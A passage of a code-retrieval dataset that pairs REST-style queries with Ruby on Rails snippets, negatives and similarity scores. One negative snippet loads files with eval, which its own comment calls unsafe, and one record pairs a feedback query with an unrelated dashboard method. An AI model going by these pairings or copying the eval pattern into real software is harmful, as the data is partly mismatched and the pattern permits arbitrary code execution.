model.update(id, params)\n unless document.valid?\n error 400, convert(body_for(:invalid_document, document))\n end\n document\n end", "def transmit_document!\n version_id = document_version_ref_id\n version_id.present? ? update_document(version_id) : upload_document\n end", "def put(*args)\n request(:put, *args)\n end", "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n # format.json { head :no_content }\n format.json { render jbuilder: @document }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @document.update_attributes(name: document_params[:name], lab_id: document_params[:lab_id])\n format.html { redirect_to documents_url, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: documents_url }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @documento = @externo.documentos.find(params[:id])\n\n respond_to do |format|\n if @documento.update_attributes(params[:documento])\n flash[:notice] = 'ATUALIZADO COM SUCESSO.'\n format.html { redirect_to[@externo,@documento] }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @documento.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n \n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to edit_document_path(@document), notice: 'Documento gardado correctamente' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n \n end", "def put_docs(dir)\n try_operation do |log|\n success = true\n log << \"Loading documents in #{dir}\\n\"\n Dir.each_child(dir) do |f|\n log << \"\\t#{f}: \"\n filepath = File.join(dir, f)\n if f.end_with?(\".rb\") && File.exists?(filepath) && !File.directory?(filepath)\n # Read the file into a Ruby hash (incredibly unsafe, obviously) and convert to JSON\n hash = eval(IO.read(filepath))\n json = JSON.generate(hash)\n \n uri = URI::HTTP.build(\n host: DB_HOST,\n port: DB_PORT,\n path: DB_DBNAME\n )\n\n # Send the PUT request to create the corresponding document\n request = Net::HTTP::Post.new(uri)\n request['Content-Type'] = 'application/json'\n response = Net::HTTP.start(uri.hostname, uri.port, {}) do |http|\n http.request(request, json)\n end\n\n # Record the result.\n log << \"#{response.code} #{response.message}\\n\"\n if response.code.to_i < 200 || response.code.to_i > 299\n success = false\n end\n end\n end\n return success, log\n end\nend", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def update\n @doc = Doc.find(params[:id])\n # do a check to make sure the editor hasn't incremented the version without making a new doc first - if true then create new doc instead\n @version = params[:doc][:dev_stage] + \" \" + params[:doc][:maj_version] + \".\" + params[:doc][:min_version]\n\t\tunless @doc.get_version == @version\n\t\t\t@new_doc = Doc.new(params[:doc])\n\t\t\t# increment the url as necessary\n\t\t\tif @new_doc.maj_version > @doc.maj_version\n\t\t\t\turl_parts = @new_doc.url.split(\"-\")\n\t\t\t\turl_parts[url_parts.size - 2] = @new_doc.maj_version\n\t\t\t\turl_parts[url_parts.size - 1] = @new_doc.min_version\n\t\t\t\t@new_doc.url = url_parts.join(\"-\")\n\t\t\telsif @new_doc.maj_version == @doc.maj_version && @new_doc.min_version > @doc.min_version\n\t\t\t\turl_parts = @new_doc.url.split(\"-\")\n\t\t\t\turl_parts[url_parts.size - 1] = @new_doc.min_version\n\t\t\t\t@new_doc.url = url_parts.join(\"-\")\n\t\t\telse\n\t\t\t\t# default case where possibly the editor has graduated the dev stage to something different, will completely rebuild url using create_url at save\n\t\t\t\t@new_doc.url = \"\"\n\t\t\tend\n\t\t\t@new_doc.save\n\t\t\tredirect_to @new_doc, alert: \"You have incremented the version for this doc, so a new doc was created with the version \\\"#{@version}\\\" instead.\" and return\n\t\tend\n\t\t\n respond_to do |format|\n if @doc.update_attributes(params[:doc])\n format.html { redirect_to @doc, notice: \"\\\"#{@doc.component}\\\" was successfully updated.\" }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @doc.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @doc.update(doc_params)\n flash[:notice] = '更新资料成功'\n redirect_to journal_doc_path(@journal, @doc)\n else\n flash[:alert] = '更新资料未成功'\n render :edit\n end\n end", "def update\n @documento = Documento.find(params[:id])\n\n respond_to do |format|\n if @documento.update_attributes(params[:documento])\n format.html { redirect_to @documento, notice: 'Documento was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @documento.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(index, type, id, body)\n handler.update index: index, type: type, id: id, body: { doc: body }\n end", "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(resource_params)\n format.html { redirect_to @document, notice: 'Primary document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @canonical_docid = args[:canonical_docid] if args.key?(:canonical_docid)\n @docid = args[:docid] if args.key?(:docid)\n @image_index = args[:image_index] if args.key?(:image_index)\n @query_index = args[:query_index] if args.key?(:query_index)\n end", "def update\n respond_to do |format|\n if @doc_type.update(doc_type_params)\n format.html { redirect_to @doc_type, notice: t('message.template.scaffold.update', model: t('activerecord.models.doc_type')) }\n format.json { render :show, status: :ok, location: @doc_type }\n else\n format.html { render :edit }\n format.json { render json: @doc_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end", "def update!(**args)\n @doc_data = args[:doc_data] if args.key?(:doc_data)\n @salient_term = args[:salient_term] if args.key?(:salient_term)\n @version = args[:version] if args.key?(:version)\n end", "def update!(**args)\n @document = args[:document] if args.key?(:document)\n @id = args[:id] if args.key?(:id)\n @metadata = args[:metadata] if args.key?(:metadata)\n end", "def api_put(path, data = {})\n api_request(:put, path, :data => data)\n end", "def update\n @documents_user = DocumentsUser.find(params[:id])\n\n respond_to do |format|\n if @documents_user.update_attributes(params[:documents_user])\n flash[:notice] = 'DocumentsUser was successfully updated.'\n format.html { redirect_to(@documents_user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @documents_user.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update(doc, server_dir, driver_dir, available_jars, number_instances)\n end", "def update_document(document, params)\n # this will only work if there is only one datastream being updated.\n # once ActiveFedora::MetadataDatastream supports .update_datastream_attributes, use that method instead (will also be able to pass through params[\"asset\"] as-is without usin prep_updater_method_args!)\n # result = document.update_indexed_attributes(params[:params], params[:opts])\n result = document.update_datastream_attributes(params)\n end", "def update_document(document, params)\n # this will only work if there is only one datastream being updated.\n # once ActiveFedora::MetadataDatastream supports .update_datastream_attributes, use that method instead (will also be able to pass through params[\"asset\"] as-is without usin prep_updater_method_args!)\n # result = document.update_indexed_attributes(params[:params], params[:opts])\n result = document.update_datastream_attributes(params)\n end", "def update!(**args)\n @document = args[:document] if args.key?(:document)\n end" ]
[ "0.6696207", "0.6683047", "0.6511411", "0.6509561", "0.6476924", "0.64690876", "0.6467435", "0.6446949", "0.64290744", "0.63760024", "0.6338613", "0.62437785", "0.6197762", "0.61819047", "0.6160856", "0.61603934", "0.6144149", "0.61169857", "0.6080752", "0.6012608", "0.6010236", "0.597202", "0.594489", "0.5943944", "0.59280324", "0.5902572", "0.5851103", "0.5833649", "0.58333284", "0.58215785", "0.5803335", "0.58005786", "0.5796428", "0.57790256", "0.57766205", "0.576897", "0.574416", "0.5718131", "0.5717737", "0.5711673", "0.57049096", "0.57001674", "0.56997406", "0.5698863", "0.56975013", "0.56955576", "0.56785685", "0.5675286", "0.5674616", "0.56713194", "0.56618744", "0.5651794", "0.56413954", "0.56307715", "0.56240994", "0.56240994", "0.56240994", "0.56236345", "0.5623269", "0.5622069", "0.5607857", "0.56066835", "0.560615", "0.56029075", "0.5599332", "0.55975246", "0.55853873", "0.5581237", "0.55680174", "0.55678076", "0.5565778", "0.5560083", "0.55582696", "0.553598", "0.55290663", "0.5519352", "0.5511504", "0.55080587", "0.5498621", "0.54902804", "0.54876095", "0.5485982", "0.5478694", "0.54768527", "0.5474288", "0.54731774", "0.54722506", "0.546927", "0.54659456", "0.54649615", "0.54636854", "0.54617", "0.54586434", "0.54493845", "0.54484975", "0.54401267", "0.5438117", "0.5433891", "0.5433891", "0.5432756" ]
0.6226837
12
DELETE /docs/1 DELETE /docs/1.xml
def destroy @doc = Doc.find(params[:id]) @doc.destroy respond_to do |format| format.html { redirect_to(docs_url) } format.xml { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete_document index, id\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}\")\n req = Net::HTTP::Delete.new(uri)\n run(uri, req)\n end", "def delete\n @client.delete_document(@path)\n end", "def destroy\n \t@doc = Doc.find params[:id]\n @doc.destroy\nend", "def destroy\n @document.destroy\n save_log({ :action => 'DELETE', :document => { :before => @old_document }})\n #TODO delete the file from disk\n respond_to do |format|\n format.html { redirect_to(documents_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @tdoc = Tdoc.find(params[:id])\n @tdoc.destroy\n\n respond_to do |format|\n format.html { redirect_to(tdocs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @documentation = Documentation.find(params[:id])\n @documentation.destroy\n\n respond_to do |format|\n format.html { redirect_to(documentations_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @doc = Doc.find(params[:id])\n @doc.destroy\n\n respond_to do |format|\n format.html { redirect_to docs_url }\n format.json { head :ok }\n end\n end", "def destroy\n @document = Document.find(:first, :conditions => [\"id = ?\", params[:id]])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to(documents_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @docent = Docent.find(params[:id])\n @docent.destroy\n\n respond_to do |format|\n format.html { redirect_to(docents_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @doc.destroy\n respond_to do |format|\n format.html { redirect_to docs_url, notice: 'Документ был удалён' }\n format.json { head :no_content }\n end\n end", "def destroy\n @doc.destroy\n redirect_to docs_path\n end", "def destroy\n @documento = Documento.find(params[:id])\n @documento.destroy\n\n respond_to do |format|\n format.html { redirect_to(documentos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to(documents_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to(documents_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to(documents_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @documento = @externo.documentos.find(params[:id])\n @documento.destroy\n\n respond_to do |format|\n format.html { redirect_to(documentos_url(@externo)) }\n format.xml { head :ok }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @upload_file = UploadFile.find(params[:id])\n doc_no=@upload_file.doc_no\n @upload_file.destroy\n\n respond_to do |format|\n format.html { redirect_to upload_files_url(:doc_no=>doc_no) }\n format.xml { head :ok }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @document.destroy\n\n respond_to do |wants|\n wants.html { redirect_to(documents_url) }\n wants.xml { head :ok }\n end\n end", "def delete_document( doc_id: )\n params = {}\n params[:backtrace] = @backtrace if @backtrace\n send_request :delete, url_for_base(doc_id), params, :json\n end", "def deleteEntityDocument( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/document\",params)\n end", "def destroy\n @library_doc = LibraryDoc.find(params[:id])\n @library_doc.destroy\n\n respond_to do |format|\n format.html { redirect_to(library_docs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @docfile.destroy\n respond_to do |format|\n format.html { redirect_to docfiles_url, notice: \"Docfile was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n begin\n File.delete( @doc_file.docOwner)\n rescue\n end\n @doc_file.destroy\n \n respond_to do |format|\n format.html { redirect_to doc_files_url }\n format.json { head :no_content }\n end\n end", "def delete(opts = {})\n response = Crocodoc.connection.post 'document/delete', :uuid => @uuid\n response.body.chomp.downcase == 'true'\n end", "def delete_doc(id)\n doc = get_doc(id)\n rev = doc[\"_rev\"] if doc[\"_rev\"]\n\n @conn.query({url_path: \"#{database}/#{id}?rev=#{rev}\", method: :delete})\n end", "def destroy\n @document = Document.find(params[:id])\n if @document.destroy\n flash[:notice] = t('item.deleted', :item => t('document.document'))\n else\n flash[:error] = t('item.not_deleted', :item => t('document.document'))\n end\n\n respond_to do |format|\n format.html { redirect_to(admin_documents_url, :section => params[:section]) }\n format.xml { head :ok }\n end\n end", "def destroy_document(opts = {})\n es_client.delete document_path(opts)\n end", "def destroy\n @tdoc = Tdoc.find(params[:id])\n @tdoc.destroy\n \n respond_to do |format|\n format.html { redirect_to tdocs_url }\n format.json { head :ok }\n end\n end", "def destroy\n @document.destroy\n end", "def destroy\n response = API.instance.send_request('docs.delete', :doc_id => self.id)\n return response.elements['/rsp'].attributes['stat'] == 'ok'\n end", "def destroy\n @document = Document.find(params[:id])\n #@document.destroy\n #@paper.destroy\n flash[:notice] = 'Geht nicht, weil nicht gut...'\n\n respond_to do |format|\n format.html { redirect_to(documents_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @documentoclasificacion = Documentoclasificacion.find(params[:id])\n @documentoclasificacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(documentoclasificaciones_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @document_status = DocumentStatus.find(params[:id])\n @document_status.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_document_statuses_url) }\n format.xml { head :ok }\n end\n end", "def delete\n request(:delete)\n end", "def destroy\n @documentation.destroy\n respond_to do |format|\n format.html { redirect_to documentations_url, notice: 'Documentation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @documento = Documento.find(params[:id])\n @documento.destroy\n\n respond_to do |format|\n format.html { redirect_to documentos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ficha_doc.destroy\n respond_to do |format|\n format.html { redirect_to ficha_docs_url, notice: 'Ficha doc was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @client_doc.destroy\n respond_to do |format|\n format.html { redirect_to client_docs_url, notice: 'Client doc was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :ok }\n end\n end", "def destroy\n @docs_ponto.destroy\n respond_to do |format|\n format.html { redirect_to docs_pontos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_documents_url }\n format.json { head :ok }\n end\n end", "def cloud_search_delete_document(doc)\n doc.version += 1\n self.cloud_search_batcher_command(:delete_document, doc)\n end", "def destroy\n @document.file = nil\n @document.save\n @document.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Document was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def delete(id)\n raise RuntimeError, \"File datastore does not support document deletion\"\n end", "def destroy\n \n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url, notice: 'Documento eliminado correctamente' }\n format.json { head :no_content }\n end\n end", "def destroy\n @gdoc.destroy\n respond_to do |format|\n format.html { redirect_to gdocs_url }\n format.json { head :no_content }\n end\n end", "def delete(document)\n delete_path(document.path)\n end", "def destroy\r\n @document = Document.find(params[:id])\r\n @document.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to documents_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def delete(id)\r\n connection.delete(\"/#{@doctype}[@ino:id=#{id}]\")\r\n end", "def destroy\n @admin_documento.destroy\n respond_to do |format|\n format.html { redirect_to admin_documentos_url }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @published_document = PublishedDocument.find(params[:id])\n @published_document.destroy\n\n respond_to do |format|\n format.html { redirect_to(published_documents_url) }\n format.xml { head :ok }\n end\n end", "def delete(id)\n request = Net::HTTP::Delete.new(\"#{@url}/#{id}.xml\")\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @alfresco = Alfresco.find(params[:id])\n @alfresco.destroy\n\n respond_to do |format|\n format.html { redirect_to(alfrescos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :ok }\n end\n end", "def destroy\n @document = Document.find(params[:id])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :ok }\n end\n end", "def delete_version( doc_id:, version: )\n params = {}\n params[:backtrace] = @backtrace if @backtrace\n send_request :delete, \"#{url_for_base doc_id}/#{version}\", params, :json\n end", "def delete( doc, opts = {} )\n rev = opts.delete(:rev)\n response = http_action :delete, doc, { :query => {:rev => rev || doc['_rev'] } }.merge( opts )\n doc.delete '_rev' if doc.kind_of? Hash\n response\n end", "def destroy\n @fax_document = FaxDocument.find(params[:id])\n @fax_document.destroy\n \n respond_to do |format|\n format.html { redirect_to(fax_documents_url) }\n format.xml { head :ok }\n end\n end", "def deleteResource(doc, msg_from)\n \n \n begin\n\n puts \"Deleting\"\n\n path = \"\"\n params = {}\n headers = {}\n \n context, path = findContext(doc, path) \n \n # Deleting member from group\n if context == :user_group_member\n params = {}\n else\n raise Exception.new(\"No context given!\")\n end\n \n httpAndNotify(path, params, msg_from, :delete)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n \n end", "def destroy\n @calidadtiposdocumento = Calidadtiposdocumento.find(params[:id])\n @calidadtiposdocumento.destroy\n\n respond_to do |format|\n format.html { redirect_to(calidadtiposdocumentos_url) }\n format.xml { head :ok }\n end\n end", "def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end", "def delete!\n request! :delete\n end", "def destroy\n @tipo_de_documento = TipoDeDocumento.find(params[:id])\n @tipo_de_documento.destroy\n\n respond_to do |format|\n format.html { redirect_to(tipos_de_documento_url) }\n format.xml { head :ok }\n end\n end", "def delete_document\n @document = Document.find(params[:id])\n @document.destroy\n flash[:notice] = 'Document successfully deleted. !'\n redirect_to :action => :list\n end", "def delete\n start { |connection| connection.request http :Delete }\n end", "def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @vendor_doc = VendorDoc.find(params[:id])\n @vendor_doc.destroy\n\n respond_to do |format|\n format.html { redirect_to(contract_vdocs_requirements_url(@vendor_doc.vdocs_requirement.contract)) }\n format.xml { head :ok }\n end\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def destroy\n @docderivacione.destroy\n respond_to do |format|\n format.html { redirect_to docderivaciones_url, notice: 'Docderivacione was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def delete doc_id, etag=\"*\"\n \n return false if doc_id.nil?\n\n client = get_client\n client.headers[\"If-Match\"] = etag\n [*doc_id].each {|id|\n client.delete(\"https://docs.google.com/feeds/default/private/full/#{id}?delete=true\")\n }\n\n return true\n\n end", "def delete(path = '/files/', params = {})\n request :delete, path, params\n end", "def destroy1\n @todo = Todo.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to(todos_url) }\n format.xml { head :ok }\n end\n end", "def delete; rest_delete(link('self')); end", "def delete; rest_delete(link('self')); end" ]
[ "0.72869444", "0.72755927", "0.7217182", "0.72114044", "0.7199847", "0.7164834", "0.71060663", "0.7086409", "0.7064387", "0.7062594", "0.7055722", "0.70510936", "0.7034747", "0.7017842", "0.7017842", "0.7017842", "0.698353", "0.69778854", "0.6917641", "0.6855707", "0.68376684", "0.68371683", "0.68170494", "0.6807608", "0.67933595", "0.6727621", "0.6715975", "0.6709093", "0.66611373", "0.6659063", "0.66445774", "0.66259336", "0.660551", "0.6602614", "0.65897113", "0.657225", "0.6559221", "0.6557237", "0.6553606", "0.6534773", "0.65316725", "0.65266937", "0.6520862", "0.6517227", "0.65085346", "0.6506067", "0.6497018", "0.64922947", "0.64897865", "0.6483644", "0.6468802", "0.646099", "0.6459434", "0.6457538", "0.645623", "0.6455837", "0.64520204", "0.64520204", "0.64520204", "0.64520204", "0.64520204", "0.64520204", "0.64520204", "0.64520204", "0.64520204", "0.64512795", "0.64491254", "0.6448202", "0.6448202", "0.6436851", "0.6430794", "0.6430413", "0.6421578", "0.64205784", "0.6419693", "0.64188904", "0.6418304", "0.6407137", "0.6405991", "0.6400291", "0.63873965", "0.63873965", "0.63873965", "0.63873965", "0.63873965", "0.63797075", "0.6378192", "0.6378192", "0.6378192", "0.6378192", "0.6377017", "0.6374462", "0.6374462", "0.636211", "0.63502735", "0.6343314", "0.63430226", "0.63335603", "0.63335603" ]
0.7597995
1
GET /feedbacks GET /feedbacks.json
def getDashboardHeading # get hostname or ip adress ipaddress=server_ipaddress() @baseurl = "http://" + ipaddress +"/dashboard" business_id = session[:user_id] # Fetch Login_ID to use in dashboard heading. businessrecord = Business.find(business_id) @login_name=businessrecord.login_id branch_detail = Branch.where ("business_id='#{business_id}'") # get all cities in table corresponding to the Business_Id for dropdown @cityname = branch_detail.map{|t| t.city}.uniq @cityname.insert(0,"City") # populate all branches to query for initial dashboard without City and Store selection branch_list =[] branch_detail.each do |branchrecord| branch_list << branchrecord.id end if params[:city] session[:city_id]= params[:city] end if params[:store] session[:store_id]= params[:store] end # Initialize the array so that the comboworks on reload # if params[:city] and params[:city]!="City" if session[:city_id]!="City" #session[:city_id]= params[:city] @cityname.delete("City") @cityname.delete(session[:city_id]) @cityname.insert( 0, session[:city_id] ) end # Get all store list in case City has been selected by user @storename=[] branchcitywise =[] singlestorebranch_id =0 if session[:city_id] != "City" branch_detail.each do |branchrecord| if branchrecord.city == session[:city_id] @storename << branchrecord.address_lane2 branchcitywise << branchrecord.id if branchrecord.address_lane2 == session[:store_id] singlestorebranch_id= branchrecord.id end end end @storename.insert(0,"Store") # Initialize the dropdown with Store value at start so that Jquery Combox works else @storename << "Store" # Initialize the dropdown with Store value end # Initialize the array so that the comboworks on reload if session[:store_id] !="Store" #session[:store_id]= params[:store] [email protected](session[:store_id]) if deletesucess @storename.insert( 0, session[:store_id]) end @storename.delete("Store") @storename.compact! end #Initialize score or read it from the get URL encoded form. if params[:fromdate] and params[:todate] session[:fromdate]=params[:fromdate] session[:todate] =params[:todate] end @fromdate = Date.strptime(session[:fromdate], '%d-%m-%Y') #lastmonth = DateTime.now - 1.month @todate = Date.strptime(session[:todate], '%d-%m-%Y') @branchlistquery = [] if session[:city_id]=="City" and session[:store_id]=="Store" @branchlistquery =branch_list elsif session[:city_id]!="City" and session[:store_id]=="Store" @branchlistquery=branchcitywise else @branchlistquery << singlestorebranch_id end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @feedbacks = Feedback.find(params[:id])\n render json: @feedbacks\n end", "def index\n @feedbacks = Feedback.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @feedbacks }\n end\n end", "def index\n @feedbacks = Feedback.all\n respond_to do |format|\n if request.xhr?\n format.html # index.html.erb\n end\n format.json { render json: @feedbacks }\n end\n end", "def index\n @feedbacks = Feedback.all\n end", "def index\n @feedbacks = Feedback.all\n end", "def index\n @feedbacks = Feedback.all\n end", "def index\n @feedbacks = Feedback.all\n end", "def index\n @feedbacks = Feedback.all\n end", "def index\n @feedbacks = Feedback.all\n end", "def index\n @feedbacks = Feedback.all\n end", "def index\n @feedbacks = Feedback.all\n end", "def show\n render json: @feedback\n end", "def index\n respond_with Feedback.all\n end", "def index\n @feedbacks = Feedback.all.order('created_at DESC')\n render json: @feedbacks\n end", "def index\n @feedbacks = Feedback.all.order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @feedbacks\n end", "def index\n @feedback_requests = FeedbackRequest.all\n end", "def index\n @title = t('view.feedbacks.index_title')\n @feedbacks = @lesson.feedbacks.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @feedbacks }\n end\n end", "def index\n @feedback_items = FeedbackItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @feedback_items }\n end\n end", "def show\n @feedback = Feedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feedback }\n end\n end", "def show\n @feedback = Feedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feedback }\n end\n end", "def show\n @feedback = Feedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feedback }\n end\n end", "def show\n @feedback = Feedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feedback }\n end\n end", "def show\n @feedback = Feedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feedback }\n end\n end", "def show\n @feedback = Feedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feedback }\n end\n end", "def index\n @user_feedbacks = UserFeedback.all\n end", "def index\n @feedbacks = Feedback.where(status_id: 2)\n @feedback_requests = Feedback.where(status_id: 1)\n end", "def show\n @title = t('view.feedbacks.show_title')\n @feedback = find_feedback\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feedback }\n end\n end", "def index\n @feedbacks = Feedback.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feedbacks }\n end\n end", "def index\n @feedbacks = Feedback.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feedbacks }\n end\n end", "def index\n @feedbacks = Feedback.all.sort_by(&:created_at).reverse\n respond_with @feedbacks \n end", "def feedback\n client.feedback app_id\n end", "def index\n @team = User.find(@idea.team_ids)\n @idea = Idea.find(params[:idea_id])\n authorize @idea\n\n 